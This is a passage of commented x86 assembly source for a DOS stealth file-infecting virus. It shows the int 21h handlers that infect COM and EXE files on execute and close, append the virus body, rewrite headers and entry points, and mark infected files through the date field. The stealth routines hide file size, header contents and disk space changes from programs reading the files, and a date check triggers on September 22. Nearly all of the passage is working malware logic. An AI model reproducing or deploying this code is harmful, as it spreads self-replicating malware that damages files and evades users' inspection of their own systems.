  788.                 jmp     exitotherint21
  789.  
  790. handleclosefile:
  791.                 push    cs
  792.                 pop     es
  793.                 call    getcurrentPSP
  794.                 mov     di,offset handletable
  795.                 mov     cx,14h                  ; 14h entries max
  796.                 mov     ax,cs:currentPSP        ; search for calling PSP
  797. scanhandle_close:
  798.                 repne   scasw
  799.                 jnz     handlenotfound          ; handle not trapped
  800.                 cmp     bx,es:[di+26h]          ; does the handle correspond?
  801.                 jne     scanhandle_close        ; if not, find another handle
  802.                 mov     word ptr es:[di-2],0    ; otherwise, clear handle
  803.                 call    infect_file
  804.                 inc     byte ptr cs:handlesleft ; fix handles left counter
  805.                 jmp     short handleopenclose_exit ; and exit
  806. handlenotfound:
  807.                 jmp     exitotherint21
  808.  
  809. getdisktransferaddress:
  810.                 push    es
  811.                 mov     ah,2Fh                  ; Get disk transfer address
  812.                 call    callint21               ; to es:bx
  813.                 push    es
  814.                 pop     ds                      ; mov to ds:bx
  815.                 pop     es
  816.                 retn
  817. execute:
  818.                 or      al,al                   ; load and execute?
  819.                 jz      loadexecute             ; yepper!
  820.                 jmp     checkloadnoexecute      ; otherwise check if
  821.                                                 ; load/no execute
  822. loadexecute:
  823.                 push    ds                      ; save filename
  824.                 push    dx
  825.                 mov     word ptr cs:parmblock,bx; save parameter block and
  826.                 mov     word ptr cs:parmblock+2,es; move to ds:si
  827.                 lds     si,dword ptr cs:parmblock
  828.                 mov     di,offset copyparmblock ; copy the parameter block
  829.                 mov     cx,0Eh
  830.                 push    cs
  831.                 pop     es
  832.                 rep     movsb
  833.                 pop     si                      ; copy the filename
  834.                 pop     ds                      ; to the buffer
  835.                 mov     di,offset copyfilename
  836.                 mov     cx,50h
  837.                 rep     movsb
  838.                 mov     bx,0FFFFh
  839.                 call    allocate_memory         ; allocate available memory
  840.                 call    _popall
  841.                 pop     bp                      ; save the parameters
  842.                 pop     word ptr cs:saveoffset  ; on the stack
  843.                 pop     word ptr cs:savesegment
  844.                 pop     word ptr cs:int21flags
  845.                 mov     ax,4B01h                ; load/no execute
  846.                 push    cs                      ; ds:dx -> file name
  847.                 pop     es                      ; es:bx -> parameter block
  848.                 mov     bx,offset copyparmblock
  849.                 pushf                           ; perform interrupt 21h
  850.                 call    dword ptr cs:oldint21
  851.                 jnc     continue_loadexecute    ; continue if no error
  852.                 or      word ptr cs:int21flags,1; turn on trap flag
  853.                 push    word ptr cs:int21flags  ; if error
  854.                 push    word ptr cs:savesegment ; restore stack
  855.                 push    word ptr cs:saveoffset
  856.                 push    bp                      ; restore the stack frame
  857.                 mov     bp,sp                   ; and restore ES:BX to
  858.                 les     bx,dword ptr cs:parmblock ; point to the parameter
  859.                 jmp     exitint21               ; block
  860. continue_loadexecute:
  861.                 call    getcurrentPSP
  862.                 push    cs
  863.                 pop     es
  864.                 mov     di,offset handletable   ; scan the handle table
  865.                 mov     cx,14h                  ; for the current PSP's
  866. scanhandle_loadexecute:                         ; handles
  867.                 mov     ax,cs:currentPSP
  868.                 repne   scasw
  869.                 jnz     loadexecute_checkEXE
  870.                 mov     word ptr es:[di-2],0    ; clear entry in handle table
  871.                 inc     byte ptr cs:handlesleft ; fix handlesleft counter
  872.                 jmp     short scanhandle_loadexecute
  873. loadexecute_checkEXE:
  874.                 lds     si,dword ptr cs:origcsip
  875.                 cmp     si,1                    ; Check if EXE infected
  876.                 jne     loadexecute_checkCOM
  877.                 mov     dx,word ptr ds:oldheader+16h ; get initial CS
  878.                 add     dx,10h                  ; adjust for PSP
  879.                 mov     ah,51h                  ; Get current PSP segment
  880.                 call    callint21
  881.                 add     dx,bx                   ;adjust for start load segment
  882.                 mov     word ptr cs:origcsip+2,dx
  883.                 push    word ptr ds:oldheader+14h       ; save old IP
  884.                 pop     word ptr cs:origcsip
  885.                 add     bx,10h                          ; adjust for the PSP
  886.                 add     bx,word ptr ds:oldheader+0Eh    ; add old SS
  887.                 mov     cs:origss,bx
  888.                 push    word ptr ds:oldheader+10h       ; old SP
  889.                 pop     word ptr cs:origsp
  890.                 jmp     short perform_loadexecute
  891. loadexecute_checkCOM:
  892.                 mov     ax,[si]                 ; Check if COM infected
  893.                 add     ax,[si+2]
  894.                 add     ax,[si+4]
  895.                 jz      loadexecute_doCOM       ; exit if already infected
  896.                 push    cs                      ; otherwise check to see
  897.                 pop     ds                      ; if it is suitable for
  898.                 mov     dx,offset copyfilename  ; infection
  899.                 call    checkdsdxokinfect
  900.                 call    setup_infection
  901.                 inc     byte ptr cs:hideclustercountchange
  902.                 call    infect_file             ; infect the file
  903.                 dec     byte ptr cs:hideclustercountchange
  904. perform_loadexecute:
  905.                 mov     ah,51h                  ; Get current PSP segment
  906.                 call    callint21
  907.                 call    saveregs
  908.                 call    restoreBREAK
  909.                 call    swapvirint21
  910.                 call    restoreregs
  911.                 mov     ds,bx                   ; ds = current PSP segment
  912.                 mov     es,bx                   ; es = current PSP segment
  913.                 push    word ptr cs:int21flags  ; restore stack parameters
  914.                 push    word ptr cs:savesegment
  915.                 push    word ptr cs:saveoffset
  916.                 pop     word ptr ds:[0Ah]       ; Set terminate address in PSP
  917.                 pop     word ptr ds:[0Ch]       ; to return address found on
  918.                                                 ; the stack
  919.                                                 ; (int 21h caller CS:IP)
  920.                 push    ds
  921.                 lds     dx,dword ptr ds:[0Ah]   ; Get terminate address in PSP
  922.                 mov     al,22h                  ; Set terminate address to it
  923.                 call    setvect
  924.                 pop     ds
  925.                 popf
  926.                 pop     ax
  927.                 mov     ss,cs:origss            ; restore the stack
  928.                 mov     sp,cs:origsp            ; and
  929.                 jmp     dword ptr cs:origcsip   ; perform the execute
  930.  
  931. loadexecute_doCOM:
  932.                 mov     bx,[si+1]               ; restore original COM file
  933.                 mov     ax,word ptr ds:[bx+si-261h]
  934.                 mov     [si],ax
  935.                 mov     ax,word ptr ds:[bx+si-25Fh]
  936.                 mov     [si+2],ax
  937.                 mov     ax,word ptr ds:[bx+si-25Dh]
  938.                 mov     [si+4],ax
  939.                 jmp     short perform_loadexecute
  940. checkloadnoexecute:
  941.                 cmp     al,1
  942.                 je      loadnoexecute
  943.                 jmp     exitotherint21
  944. loadnoexecute:
  945.                 or      word ptr cs:int21flags,1; turn on trap flag
  946.                 mov     word ptr cs:parmblock,bx; save pointer to parameter
  947.                 mov     word ptr cs:parmblock+2,es ; block
  948.                 call    _popall
  949.                 call    callint21               ; chain to int 21h
  950.                 call    _pushall
  951.                 les     bx,dword ptr cs:parmblock ; restore pointer to
  952.                                                 ; parameter block
  953.                 lds     si,dword ptr es:[bx+12h]; get cs:ip on execute return
  954.                 jc      exit_loadnoexecute
  955.                 and     byte ptr cs:int21flags,0FEh ; turn off trap flag
  956.                 cmp     si,1                    ; check for EXE infection
  957.                 je      loadnoexecute_EXE_already_infected
  958.                                                 ; infected if initial IP = 1
  959.                 mov     ax,[si]                 ; check for COM infection
  960.                 add     ax,[si+2]               ; infected if checksum = 0
  961.                 add     ax,[si+4]
  962.                 jnz     perform_the_execute
  963.                 mov     bx,[si+1]               ; get jmp location
  964.                 mov     ax,ds:[bx+si-261h]      ; restore original COM file
  965.                 mov     [si],ax
  966.                 mov     ax,ds:[bx+si-25Fh]
  967.                 mov     [si+2],ax
  968.                 mov     ax,ds:[bx+si-25Dh]
  969.                 mov     [si+4],ax
  970.                 jmp     short perform_the_execute
  971. loadnoexecute_EXE_already_infected:
  972.                 mov     dx,word ptr ds:oldheader+16h ; get entry CS:IP
  973.                 call    getcurrentPSP
  974.                 mov     cx,cs:currentPSP
  975.                 add     cx,10h                  ; adjust for PSP
  976.                 add     dx,cx
  977.                 mov     es:[bx+14h],dx          ; alter the entry point CS
  978.                 mov     ax,word ptr ds:oldheader+14h
  979.                 mov     es:[bx+12h],ax
  980.                 mov     ax,word ptr ds:oldheader+0Eh ; alter stack
  981.                 add     ax,cx
  982.                 mov     es:[bx+10h],ax
  983.                 mov     ax,word ptr ds:oldheader+10h
  984.                 mov     es:[bx+0Eh],ax
  985. perform_the_execute:
  986.                 call    getcurrentPSP
  987.                 mov     ds,cs:currentPSP
  988.                 mov     ax,[bp+2]               ; restore length as held in
  989.                 mov     word ptr ds:oldheader+6,ax
  990.                 mov     ax,[bp+4]               ; the EXE header
  991.                 mov     word ptr ds:oldheader+8,ax
  992. exit_loadnoexecute:
  993.                 jmp     _popall_then_exitint21
  994.  
  995. getDOSversion:
  996.                 mov     byte ptr cs:hide_size,0
  997.                 mov     ah,2Ah                  ; Get date
  998.                 call    callint21
  999.                 cmp     dx,916h                 ; September 22?
  1000.                 jb      exitDOSversion          ; leave if not
  1001.                 call    writebootblock          ; this is broken
  1002. exitDOSversion:
  1003.                 jmp     exitotherint21
  1004.  
  1005. infect_file:
  1006.                 call    replaceint13and24
  1007.                 call    findnextparagraphboundary
  1008.                 mov     byte ptr ds:EXEflag,1   ; assume is an EXE file
  1009.                 cmp     word ptr ds:readbuffer,'ZM' ; check here for regular
  1010.                 je      clearlyisanEXE              ; EXE header
  1011.                 cmp     word ptr ds:readbuffer,'MZ' ; check here for alternate
  1012.                 je      clearlyisanEXE              ; EXE header
  1013.                 dec     byte ptr ds:EXEflag         ; if neither, assume is a
  1014.                 jz      try_infect_com              ; COM file
  1015. clearlyisanEXE:
  1016.                 mov     ax,ds:lengthinpages     ; get file size in pages
  1017.                 shl     cx,1                    ; and convert it to
  1018.                 mul     cx                      ; bytes
  1019.                 add     ax,200h                 ; add 512 bytes
  1020.                 cmp     ax,si
  1021.                 jb      go_exit_infect_file
  1022.                 mov     ax,ds:minmemory         ; make sure min and max memory
  1023.                 or      ax,ds:maxmemory         ; are not both zero
  1024.                 jz      go_exit_infect_file
  1025.                 mov     ax,ds:filesizelow       ; get filesize in dx:ax
  1026.                 mov     dx,ds:filesizehigh
  1027.                 mov     cx,200h                 ; convert to pages
  1028.                 div     cx
  1029.                 or      dx,dx                   ; filesize multiple of 512?
  1030.                 jz      filesizemultiple512     ; then don't increment #
  1031.                 inc     ax                      ; pages
  1032. filesizemultiple512:
  1033.                 mov     ds:lengthinpages,ax     ; put in new values for length
  1034.                 mov     ds:lengthMOD512,dx      ; fields
  1035.                 cmp     word ptr ds:initialIP,1 ; check if already infected
  1036.                 je      exit_infect_file
  1037.                 mov     word ptr ds:initialIP,1 ; set new entry point
  1038.                 mov     ax,si                   ; calculate new entry point
  1039.                 sub     ax,ds:headersize        ; segment
  1040.                 mov     ds:initialcs,ax         ; put this in for cs
  1041.                 add     word ptr ds:lengthinpages,8 ; 4K more
  1042.                 mov     ds:initialSS,ax         ; put entry segment in for SS
  1043.                 mov     word ptr ds:initialSP,1000h ; set stack @ 1000h
  1044.                 call    finish_infection
  1045. go_exit_infect_file:
  1046.                 jmp     short exit_infect_file
  1047. try_infect_com:
  1048.                 cmp     si,0F00h                ; make sure file is under
  1049.                 jae     exit_infect_file        ; F00h paragraphs or else
  1050.                                                 ; it will be too large once it
  1051.                                                 ; is infected
  1052.                 mov     ax,ds:readbuffer        ; first save first 6 bytes
  1053.                 mov     word ptr ds:oldheader,ax
  1054.                 add     dx,ax
  1055.                 mov     ax,ds:readbuffer+2
  1056.                 mov     word ptr ds:oldheader+2,ax
  1057.                 add     dx,ax
  1058.                 mov     ax,ds:readbuffer+4
  1059.                 mov     word ptr ds:oldheader+4,ax
  1060.                 add     dx,ax                   ; exit if checksum = 0
  1061.                 jz      exit_infect_file        ; since then it is already
  1062.                                                 ; infected
  1063.                 mov     cl,0E9h                 ; encode jmp instruction
  1064.                 mov     byte ptr ds:readbuffer,cl
  1065.                 mov     ax,10h                  ; find file size
  1066.                 mul     si
  1067.                 add     ax,offset entervirus-3  ; calculate offset of jmp
  1068.                 mov     word ptr ds:readbuffer+1,ax ; encode it
  1069.                 mov     ax,ds:readbuffer        ; checksum it to 0
  1070.                 add     ax,ds:readbuffer+2
  1071.                 neg     ax
  1072.                 mov     ds:readbuffer+4,ax
  1073.                 call    finish_infection
  1074. exit_infect_file:
  1075.                 mov     ah,3Eh                  ; Close file
  1076.                 call    callint21
  1077.                 call    restoreint13and24
  1078.                 retn
  1079.  
  1080.  
  1081. findnextparagraphboundary:
  1082.                 push    cs
  1083.                 pop     ds
  1084.                 mov     ax,5700h                ; Get file time/date
  1085.                 call    callint21
  1086.                 mov     ds:filetime,cx
  1087.                 mov     ds:filedate,dx
  1088.                 mov     ax,4200h                ; Go to beginning of file
  1089.                 xor     cx,cx
  1090.                 mov     dx,cx
  1091.                 call    callint21
  1092.                 mov     ah,3Fh                  ; Read first 1Ch bytes
  1093.                 mov     cl,1Ch
  1094.                 mov     dx,offset readbuffer
  1095.                 call    callint21
  1096.                 mov     ax,4200h                ; Go to beginning of file
  1097.                 xor     cx,cx
  1098.                 mov     dx,cx
  1099.                 call    callint21
  1100.                 mov     ah,3Fh                  ; Read first 1Ch bytes
  1101.                 mov     cl,1Ch
  1102.                 mov     dx,offset oldheader
  1103.                 call    callint21
  1104.                 mov     ax,4202h                ; Go to end of file
  1105.                 xor     cx,cx
  1106.                 mov     dx,cx
  1107.                 call    callint21
  1108.                 mov     ds:filesizelow,ax       ; save filesize
  1109.                 mov     ds:filesizehigh,dx
  1110.                 mov     di,ax
  1111.                 add     ax,0Fh                  ; round to nearest paragraph
  1112.                 adc     dx,0                    ; boundary
  1113.                 and     ax,0FFF0h
  1114.                 sub     di,ax                   ; di=# bytes to next paragraph
  1115.                 mov     cx,10h                  ; normalize filesize
  1116.                 div     cx                      ; to paragraphs
  1117.                 mov     si,ax                   ; si = result
  1118.                 retn
  1119.  
  1120.  
  1121. finish_infection:
  1122.                 mov     ax,4200h                ; Go to beginning of file
  1123.                 xor     cx,cx
  1124.                 mov     dx,cx
  1125.                 call    callint21
  1126.                 mov     ah,40h                  ; Write new header to file
  1127.                 mov     cl,1Ch
  1128.                 mov     dx,offset readbuffer
  1129.                 call    callint21
  1130.                 mov     ax,10h                  ; convert paragraph boundary
  1131.                 mul     si                      ; to a byte value
  1132.                 mov     cx,dx
  1133.                 mov     dx,ax
  1134.                 mov     ax,4200h                ; go to first paragraph
  1135.                 call    callint21               ; boundary at end of file
  1136.                 xor     dx,dx
  1137.                 mov     cx,1000h
  1138.                 add     cx,di
  1139.                 mov     ah,40h                  ; Concatenate virus to file
  1140.                 call    callint21
  1141.                 mov     ax,5701h                ; Restore file time/date
  1142.                 mov     cx,ds:filetime
  1143.                 mov     dx,ds:filedate
  1144.                 test    dh,80h                  ; check for infection bit
  1145.                 jnz     highbitset
  1146.                 add     dh,0C8h                 ; alter if not set yet
  1147. highbitset:
  1148.                 call    callint21
  1149.                 cmp     byte ptr ds:DOSversion,3; if not DOS 3+, then
  1150.                 jb      exit_finish_infection   ; do not hide the alteration
  1151.                                                 ; in cluster count
  1152.                 cmp     byte ptr ds:hideclustercountchange,0
  1153.                 je      exit_finish_infection
  1154.                 push    bx
  1155.                 mov     dl,ds:filedrive
  1156.                 mov     ah,32h                  ; Get drive parameter block
  1157.                 call    callint21               ; for drive dl
  1158.                 mov     ax,cs:numfreeclusters
  1159.                 mov     [bx+1Eh],ax             ; alter free cluster count
  1160.                 pop     bx
  1161. exit_finish_infection:
  1162.                 retn
  1163.  
  1164.  
  1165. checkFCBokinfect:
  1166.                 call    saveregs
  1167.                 mov     di,dx
  1168.                 add     di,0Dh                  ; skip to extension
  1169.                 push    ds
  1170.                 pop     es
  1171.                 jmp     short performchecksum   ; and check checksum for valid
  1172.                                                 ; checksum
  1173.  
  1174. checkdsdxokinfect:
  1175.                 call    saveregs
  1176.                 push    ds
  1177.                 pop     es
  1178.                 mov     di,dx
  1179.                 mov     cx,50h                  ; max filespec length
  1180.                 xor     ax,ax
  1181.                 mov     bl,0                    ; default drive
  1182.                 cmp     byte ptr [di+1],':'     ; Is there a drive spec?
  1183.                 jne     ondefaultdrive          ; nope, skip it
  1184.                 mov     bl,[di]                 ; yup, get drive
  1185.                 and     bl,1Fh                  ; and convert to number
  1186. ondefaultdrive:
  1187.                 mov     cs:filedrive,bl
  1188.                 repne   scasb                   ; find terminating 0 byte
  1189. performchecksum:
  1190.                 mov     ax,[di-3]
  1191.                 and     ax,0DFDFh               ; convert to uppercase
  1192.                 add     ah,al
  1193.                 mov     al,[di-4]
  1194.                 and     al,0DFh                 ; convert to uppercase
  1195.                 add     al,ah
  1196.                 mov     byte ptr cs:EXEflag,0   ; assume COM file
  1197.                 cmp     al,0DFh                 ; COM checksum?
  1198.                 je      COMchecksum
  1199.                 inc     byte ptr cs:EXEflag     ; assume EXE file
  1200.                 cmp     al,0E2h                 ; EXE checksum?
  1201.                 jne     otherchecksum
  1202. COMchecksum:
  1203.                 call    restoreregs
  1204.                 clc                             ; mark no error
  1205.                 retn
  1206. otherchecksum:
  1207.                 call    restoreregs
  1208.                 stc                             ; mark error
  1209.                 retn
  1210.  
  1211.  
  1212. getcurrentPSP:
  1213.                 push    bx
  1214.                 mov     ah,51h                  ; Get current PSP segment
  1215.                 call    callint21
  1216.                 mov     cs:currentPSP,bx        ; store it
  1217.                 pop     bx
  1218.                 retn
  1219.  
  1220.  
  1221. setup_infection:
  1222.                 call    replaceint13and24
  1223.                 push    dx
  1224.                 mov     dl,cs:filedrive
  1225.                 mov     ah,36h                  ; Get disk free space
  1226.                 call    callint21
  1227.                 mul     cx                      ; ax = bytes per cluster
  1228.                 mul     bx                      ; dx:ax = bytes free space
  1229.                 mov     bx,dx
  1230.                 pop     dx
  1231.                 or      bx,bx                   ; less than 65536 bytes free?
  1232.                 jnz     enough_free_space       ; hopefully not
  1233.                 cmp     ax,4000h                ; exit if less than 16384
  1234.                 jb      exit_setup_infection    ; bytes free
  1235. enough_free_space:
  1236.                 mov     ax,4300h                ; Get file attributes
  1237.                 call    callint21
  1238.                 jc      exit_setup_infection    ; exit on error
  1239.                 mov     di,cx                   ; di = attributes
  1240.                 xor     cx,cx
  1241.                 mov     ax,4301h                ; Clear file attributes
  1242.                 call    callint21
  1243.                 cmp     byte ptr cs:errorflag,0 ; check for errors
  1244.                 jne     exit_setup_infection
  1245.                 mov     ax,3D02h                ; Open file read/write
  1246.                 call    callint21
  1247.                 jc      exit_setup_infection    ; exit on error
  1248.                 mov     bx,ax                   ; move handle to bx
  1249.                                                 ; xchg bx,ax is superior
  1250.                 mov     cx,di
  1251.                 mov     ax,4301h                ; Restore file attributes
  1252.                 call    callint21
  1253.                 push    bx
  1254.                 mov     dl,cs:filedrive         ; Get file's drive number
  1255.                 mov     ah,32h                  ; Get drive parameter block
  1256.                 call    callint21               ; for disk dl
  1257.                 mov     ax,[bx+1Eh]             ; Get free cluster count
  1258.                 mov     cs:numfreeclusters,ax   ; and save it
  1259.                 pop     bx                      ; return handle
  1260.                 call    restoreint13and24
  1261.                 retn
  1262. exit_setup_infection:
  1263.                 xor     bx,bx
  1264.                 dec     bx                      ; return bx=-1 on error
  1265.                 call    restoreint13and24
  1266.                 retn
  1267.  
  1268.  
  1269. checkforinfection:
  1270.                 push    cx
  1271.                 push    dx
  1272.                 push    ax
  1273.                 mov     ax,4400h                ; Get device information
  1274.                 call    callint21               ; (set hide_size = 2)
  1275.                 xor     dl,80h
  1276.                 test    dl,80h                  ; Character device?  If so,
  1277.                 jz      exit_checkforinfection  ; exit; cannot be infected
  1278.                 mov     ax,5700h                ; Otherwise get time/date
  1279.                 call    callint21
  1280.                 test    dh,80h                  ; Check year bit for infection
  1281. exit_checkforinfection:
  1282.                 pop     ax
  1283.                 pop     dx
  1284.                 pop     cx
  1285.                 retn
  1286.  
  1287. obtainfilesize:
  1288.                 call    saveregs
  1289.                 mov     ax,4201h                ; Get current file position
  1290.                 xor     cx,cx
  1291.                 xor     dx,dx
  1292.                 call    callint21
  1293.                 mov     cs:curfileposlow,ax
  1294.                 mov     cs:curfileposhigh,dx
  1295.                 mov     ax,4202h                ; Go to end of file
  1296.                 xor     cx,cx
  1297.                 xor     dx,dx
  1298.                 call    callint21
  1299.                 mov     cs:filesizelow,ax
  1300.                 mov     cs:filesizehigh,dx
  1301.                 mov     ax,4200h                ; Return to file position
  1302.                 mov     dx,cs:curfileposlow
  1303.                 mov     cx,cs:curfileposhigh
  1304.                 call    callint21
  1305.                 call    restoreregs
  1306.                 retn
  1307.  
  1308. getsetfiletimedate:
  1309.                 or      al,al                   ; Get time/date?
  1310.                 jnz     checkifsettimedate      ; if not, see if Set time/date
  1311.                 and     word ptr cs:int21flags,0FFFEh ; turn off trap flag
  1312.                 call    _popall
  1313.                 call    callint21
  1314.                 jc      gettimedate_error       ; exit on error
  1315.                 test    dh,80h                  ; check year bit if infected
  1316.                 jz      gettimedate_notinfected
  1317.                 sub     dh,0C8h                 ; if so, hide change
  1318. gettimedate_notinfected:
  1319.                 jmp     exitint21
  1320. gettimedate_error:
  1321.                 or      word ptr cs:int21flags,1; turn on trap flag
  1322.                 jmp     exitint21
  1323. checkifsettimedate:
  1324.                 cmp     al,1                    ; Set time/date?
  1325.                 jne     exit_filetimedate_pointer
  1326.                 and     word ptr cs:int21flags,0FFFEh ; turn off trap flag
  1327.                 test    dh,80h                  ; Infection bit set?
  1328.                 jz      set_yearbitset
  1329.                 sub     dh,0C8h                 ; clear infection bit
  1330. set_yearbitset:
  1331.                 call    checkforinfection
  1332.                 jz      set_datetime_nofinagle
  1333.                 add     dh,0C8h                 ; set infection flag
  1334. set_datetime_nofinagle:
  1335.                 call    callint21
  1336.                 mov     [bp-4],ax
  1337.                 adc     word ptr cs:int21flags,0; turn on/off trap flag
  1338.                 jmp     _popall_then_exitint21  ; depending on result
  1339.  
  1340. handlemovefilepointer:
  1341.                 cmp     al,2
  1342.                 jne     exit_filetimedate_pointer
  1343.                 call    checkforinfection
  1344.                 jz      exit_filetimedate_pointer
  1345.                 sub     word ptr [bp-0Ah],1000h ; hide file size
  1346.                 sbb     word ptr [bp-8],0
  1347. exit_filetimedate_pointer:
  1348.                 jmp     exitotherint21
  1349.  
  1350. handleread:
  1351.                 and     byte ptr cs:int21flags,0FEh ; clear trap flag
  1352.                 call    checkforinfection           ; exit if it is not
  1353.                 jz      exit_filetimedate_pointer   ; infected -- no need
  1354.                                                     ; to do stealthy stuff
  1355.                 mov     cs:savelength,cx
  1356.                 mov     cs:savebuffer,dx
  1357.                 mov     word ptr cs:return_code,0
  1358.                 call    obtainfilesize
  1359.                 mov     ax,cs:filesizelow       ; store the file size
  1360.                 mov     dx,cs:filesizehigh
  1361.                 sub     ax,1000h                ; get uninfected file size
  1362.                 sbb     dx,0
  1363.                 sub     ax,cs:curfileposlow     ; check if currently in
  1364.                 sbb     dx,cs:curfileposhigh    ; virus code
  1365.                 jns     not_in_virus_body       ; continue if not
  1366.                 mov     word ptr [bp-4],0       ; set return code = 0
  1367.                 jmp     handleopenclose_exit
  1368. not_in_virus_body:
  1369.                 jnz     not_reading_header
  1370.                 cmp     ax,cx                   ; reading from header?
  1371.                 ja      not_reading_header
  1372.                 mov     cs:savelength,ax        ; # bytes into header
  1373. not_reading_header:
  1374.                 mov     dx,cs:curfileposlow
  1375.                 mov     cx,cs:curfileposhigh
  1376.                 or      cx,cx                   ; if reading > 64K into file,
  1377.                 jnz     finish_reading          ; then no problems
  1378.                 cmp     dx,1Ch                  ; if reading from header, then
  1379.                 jbe     reading_from_header     ; do stealthy stuff
  1380. finish_reading:
  1381.                 mov     dx,cs:savebuffer
  1382.                 mov     cx,cs:savelength
  1383.                 mov     ah,3Fh                  ; read file
  1384.                 call    callint21
  1385.                 add     ax,cs:return_code       ; ax = bytes read
  1386.                 mov     [bp-4],ax               ; set return code properly
  1387.                 jmp     _popall_then_exitint21
  1388. reading_from_header:
  1389.                 mov     si,dx
  1390.                 mov     di,dx
  1391.                 add     di,cs:savelength
  1392.                 cmp     di,1Ch                  ; reading all of header?
  1393.                 jb      read_part_of_header     ; nope, calculate how much
  1394.                 xor     di,di
  1395.                 jmp     short do_read_from_header
  1396. read_part_of_header:
  1397.                 sub     di,1Ch
  1398.                 neg     di
  1399. do_read_from_header:
  1400.                 mov     ax,dx
  1401.                 mov     cx,cs:filesizehigh      ; calculate location in
  1402.                 mov     dx,cs:filesizelow       ; the file of the virus
  1403.                 add     dx,0Fh                  ; storage area for the
  1404.                 adc     cx,0                    ; original 1Ch bytes of
  1405.                 and     dx,0FFF0h               ; the file
  1406.                 sub     dx,0FFCh
  1407.                 sbb     cx,0
  1408.                 add     dx,ax
  1409.                 adc     cx,0
  1410.                 mov     ax,4200h                ; go to that location
  1411.                 call    callint21
  1412.                 mov     cx,1Ch
  1413.                 sub     cx,di
  1414.                 sub     cx,si
  1415.                 mov     ah,3Fh                  ; read the original header
  1416.                 mov     dx,cs:savebuffer
  1417.                 call    callint21
  1418.                 add     cs:savebuffer,ax
  1419.                 sub     cs:savelength,ax
  1420.                 add     cs:return_code,ax
  1421.                 xor     cx,cx                   ; go past the virus's header
  1422.                 mov     dx,1Ch
  1423.                 mov     ax,4200h
  1424.                 call    callint21
  1425.                 jmp     finish_reading          ; and continue the reading
  1426.  
  1427. handlewrite:
  1428.                 and     byte ptr cs:int21flags,0FEh ; turn off trap flag
  1429.                 call    checkforinfection
  1430.                 jnz     continue_handlewrite
  1431.                 jmp     exit_filetimedate_pointer
  1432. continue_handlewrite:
  1433.                 mov     cs:savelength,cx
  1434.                 mov     cs:savebuffer,dx
  1435.                 mov     word ptr cs:return_code,0
  1436.                 call    obtainfilesize
  1437.                 mov     ax,cs:filesizelow
  1438.                 mov     dx,cs:filesizehigh
  1439.                 sub     ax,1000h                ; calculate original file
  1440.                 sbb     dx,0                    ; size
  1441.                 sub     ax,cs:curfileposlow     ; writing from inside the
  1442.                 sbb     dx,cs:curfileposhigh    ; virus?
  1443.                 js      finish_write            ; if not, we can continue
  1444.                 jmp     short write_inside_virus; otherwise, fixup some stuff
  1445. finish_write:
  1446.                 call    replaceint13and24
  1447.                 push    cs
  1448.                 pop     ds
  1449.                 mov     dx,ds:filesizelow       ; calculate location in file
  1450.                 mov     cx,ds:filesizehigh      ; of the virus storage of the
  1451.                 add     dx,0Fh                  ; original 1Ch bytes of the
  1452.                 adc     cx,0                    ; file
  1453.                 and     dx,0FFF0h
  1454.                 sub     dx,0FFCh
  1455.                 sbb     cx,0
  1456.                 mov     ax,4200h
  1457.                 call    callint21
  1458.                 mov     dx,offset oldheader
  1459.                 mov     cx,1Ch
  1460.                 mov     ah,3Fh                  ; read original header
  1461.                 call    callint21
  1462.                 mov     ax,4200h                ; go to beginning of file
  1463.                 xor     cx,cx
  1464.                 mov     dx,cx
  1465.                 call    callint21
  1466.                 mov     dx,offset oldheader
  1467.                 mov     cx,1Ch
  1468.                 mov     ah,40h                  ; write original header to
  1469.                 call    callint21               ; the file
  1470.                 mov     dx,0F000h               ; go back 4096 bytes
  1471.                 mov     cx,0FFFFh               ; from the end of the
  1472.                 mov     ax,4202h                ; file and
  1473.                 call    callint21
  1474.                 mov     ah,40h                  ; truncate the file
  1475.                 xor     cx,cx                   ; at that position
  1476.                 call    callint21
  1477.                 mov     dx,ds:curfileposlow     ; Go to current file position
  1478.                 mov     cx,ds:curfileposhigh
  1479.                 mov     ax,4200h
  1480.                 call    callint21
  1481.                 mov     ax,5700h                ; Get file time/date
  1482.                 call    callint21
  1483.                 test    dh,80h
  1484.                 jz      high_bit_aint_set
  1485.                 sub     dh,0C8h                 ; restore file date
  1486.                 mov     ax,5701h                ; put it onto the disk
  1487.                 call    callint21
  1488. high_bit_aint_set:
  1489.                 call    restoreint13and24
  1490.                 jmp     exitotherint21
  1491. write_inside_virus:
  1492.                 jnz     write_inside_header     ; write from start of file?
  1493.                 cmp     ax,cx
  1494.                 ja      write_inside_header     ; write from inside header?
  1495.                 jmp     finish_write
  1496.  
  1497. write_inside_header:
  1498.                 mov     dx,cs:curfileposlow
  1499.                 mov     cx,cs:curfileposhigh
  1500.                 or      cx,cx                   ; Reading over 64K?
  1501.                 jnz     writemorethan1Chbytes
  1502.                 cmp     dx,1Ch                  ; Reading over 1Ch bytes?
  1503.                 ja      writemorethan1Chbytes
  1504.                 jmp     finish_write
  1505. writemorethan1Chbytes:
  1506.                 call    _popall
  1507.                 call    callint21               ; chain to int 21h
  1508.                                                 ; (allow write to take place)
  1509.                 call    _pushall
  1510.                 mov     ax,5700h                ; Get file time/date
  1511.                 call    callint21
  1512.                 test    dh,80h
  1513.                 jnz     _popall_then_exitint21_
  1514.                 add     dh,0C8h
  1515.                 mov     ax,5701h                ; restore file date
  1516.                 call    callint21
  1517. _popall_then_exitint21_:
  1518.                 jmp     _popall_then_exitint21
  1519.  
  1520.                 jmp     exitotherint21
  1521.  
  1522. int13:
  1523.                 pop     word ptr cs:int13tempCSIP ; get calling CS:IP off
  1524.                 pop     word ptr cs:int13tempCSIP+2 ; the stack
  1525.                 pop     word ptr cs:int13flags
  1526.                 and     word ptr cs:int13flags,0FFFEh ; turn off trap flag
  1527.                 cmp     byte ptr cs:errorflag,0 ; any errors yet?
  1528.                 jne     exitint13error          ; yes, already an error
  1529.                 push    word ptr cs:int13flags
  1530.                 call    dword ptr cs:origints
  1531.                 jnc     exitint13
  1532.                 inc     byte ptr cs:errorflag   ; mark error
  1533. exitint13error:
  1534.                 stc                             ; mark error
  1535. exitint13:
  1536.                 jmp     dword ptr cs:int13tempCSIP ; return to caller
  1537.  
  1538. int24:
  1539.                 xor     al,al                   ; ignore error
  1540.                 mov     byte ptr cs:errorflag,1 ; mark error
  1541.                 iret
  1542.  
  1543. replaceint13and24:
  1544.                 mov     byte ptr cs:errorflag,0 ; clear errors
  1545.                 call    saveregs
  1546.                 push    cs
  1547.                 pop     ds
  1548.                 mov     al,13h                  ; save int 13 handler
  1549.                 call    getint
  1550.                 mov     word ptr ds:origints,bx
  1551.                 mov     word ptr ds:origints+2,es
